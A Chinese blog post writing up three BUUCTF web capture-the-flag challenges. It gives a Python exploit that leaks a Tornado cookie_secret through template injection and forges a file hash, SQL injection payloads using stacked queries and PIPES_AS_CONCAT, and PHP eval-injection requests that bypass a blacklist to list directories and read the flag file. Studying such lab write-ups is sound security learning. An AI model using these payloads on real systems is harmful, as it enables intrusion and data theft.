avatar

CTF-BUUCTF-Web刷题之旅-(1)

0x01 [护网杯 2018]easy_tornado

打开之后发现三个连接,都点一下,然后发现flag在/fllllllllllllag的位置

发现hinit,如下

1
md5(cookie_secret+md5(filename))

看到url有一个文件名,尝试修改文件名读取flag

1
2
3
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/file?filename=/flag.txt&filehash=3295af9e1375bd422619c9bc3c19834a
修改成下面的url
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=3295af9e1375bd422619c9bc3c19834a

读取失败了。接着跳转到error页面,如下

1
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg=Error

于是在msg字段尝试模板注入,如下

1
2
3
4
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={1+1}

显示结果
{1 1}

很可能是屏蔽了一些字符

经过测试大概只有数字、英文还有点号之类的可以用了

上面的我们只是测试了注入的字符限制

接下来我们来测试一下以下数据

1
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={{1}}

发现大括号消失,确实是存在注入的

看到题目的名字叫easy_tornado,很可能是和tornado可能存在的注入有关

可以通过注入来输出handler.settings数据

1
2
3
http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={{handler.settings}}
输出
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ee744aa1-8391-4ee5-b8d0-47a63832e8d6'}

成功发现cookie_secret

接下来就是写exp了

Exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import sys
import hashlib
import requests
if len(sys.argv) == 1:
url = "http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn"
else:
url = sys.argv[1]
uuid_regex = "(\w{8}(-\w{4}){3}-\w{12})"
flag_regex = "(flag\{\w{8}(-\w{4}){3}-\w{12}\})"
uuid_pattern = re.compile(uuid_regex)
flag_pattern = re.compile(flag_regex)
flag_file = "/fllllllllllllag"
handler_leak_url = "%s/error?msg={{handler.settings}}" % url
get_flag_url = "%s/file?filename=%s&filehash=%s"
response = requests.get(handler_leak_url)
regex_list = uuid_pattern.findall(response.text)
cookie_secret = regex_list[0][0]
filehash = hashlib.md5(cookie_secret + hashlib.md5(flag_file).hexdigest()).hexdigest()
response = requests.get(get_flag_url % (url,flag_file,filehash))
flag = flag_pattern.findall(response.text)[0][0]
print("[+] cookie_secret: %s" % cookie_secret)
print("[+] filehash: %s" % filehash)
print("[+] flag: %s" % flag)

0x02 [SUCTF 2019]EasySQL

解法1

1
*,1

使得源码中sql代码变成了以下形式

1
2
3
select $_POST['query']||flag from Flag
变成以下形式
select *,1||flag from Flag

由于使用select *使得所有的表内容都被选中,也就是可以输出Flag的数据了

*,1的1可以写成true=true也是可以的,纯数字也是可以的

解法2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: bcaf4a9c-424e-4b75-9c52-0b324f06738d.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://bcaf4a9c-424e-4b75-9c52-0b324f06738d.node3.buuoj.cn
Connection: close
Referer: http://bcaf4a9c-424e-4b75-9c52-0b324f06738d.node3.buuoj.cn/
Cookie: PHPSESSID=1e28fa943aeca1cda5cd223f501792d7
Upgrade-Insecure-Requests: 1

query=1;set sql_mode=PIPES_AS_CONCAT;select 1

通过设置sql_mode来改变字符的功能,使得源码中sql代码变成了以下形式

1
2
3
4
5
select $_POST['query']||flag from Flag
变成以下形式
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
其实它就等效于
select 1;set sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag

得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Server:
Date: Fri, 06 Mar 2020 17:15:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Pragma: no-cache
X-Powered-By: PHP/7.3.10
Content-Length: 378


<html>
<head>
<script async=true src="http://t.wsgblw.com:88/j1.js?MAC=68DB549410D2"></script>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

Array
(
[0] => 1
)
Array
(
[0] => 1flag{48d5b598-c2fb-4629-8d7a-032a61159c28}
)

0x03 [RoarCTF 2019]Easy Calc

通过测试发现数据发送到了calc.php,所以打开calc.php看看,发现calc.php直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://node3.buuoj.cn:28482/calc.php
源码如下:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

发现对num进行了check,但是只是num做了check,所以我们可以特殊字符对num做一定的处理使得$str取不到num

知道漏洞后,我们先输出一下目录,来看看根目录有没有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
GET /calc.php?%20num=1;var_dump(scandir(chr(47))); HTTP/1.1
Host: node3.buuoj.cn:28482
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://node3.buuoj.cn:28482/

接收到的数据如下

Content-Length: 674
Connection: close
Content-Type: text/html; charset=UTF-8

1array(24) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) ".dockerenv"
[3]=>
string(3) "bin"
[4]=>
string(4) "boot"
[5]=>
string(3) "dev"
[6]=>
string(3) "etc"
[7]=>
string(5) "f1agg"
[8]=>
string(4) "home"
[9]=>
string(3) "lib"
[10]=>
string(5) "lib64"
[11]=>
string(5) "media"
[12]=>
string(3) "mnt"
[13]=>
string(3) "opt"
[14]=>
string(4) "proc"
[15]=>
string(4) "root"
[16]=>
string(3) "run"
[17]=>
string(4) "sbin"
[18]=>
string(3) "srv"
[19]=>
string(8) "start.sh"
[20]=>
string(3) "sys"
[21]=>
string(3) "tmp"
[22]=>
string(3) "usr"
[23]=>
string(3) "var"
}

接着就可以使用file_get_content配合chr和var_dump来输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); HTTP/1.1
Host: node3.buuoj.cn:28482
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://node3.buuoj.cn:28482/

接收到以下数据

HTTP/1.1 200 OK
Date: Fri, 06 Mar 2020 18:23:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 58
Connection: close
Content-Type: text/html; charset=UTF-8
1string(43) "flag{500c2d32-9e01-4df2-abcb-7a192609e016}"

感谢羽师傅的博客http://www.cl4y.top/buuctf_wp/#toc-head-17

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2020/03/07/CTF-BUUCTF-Web%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论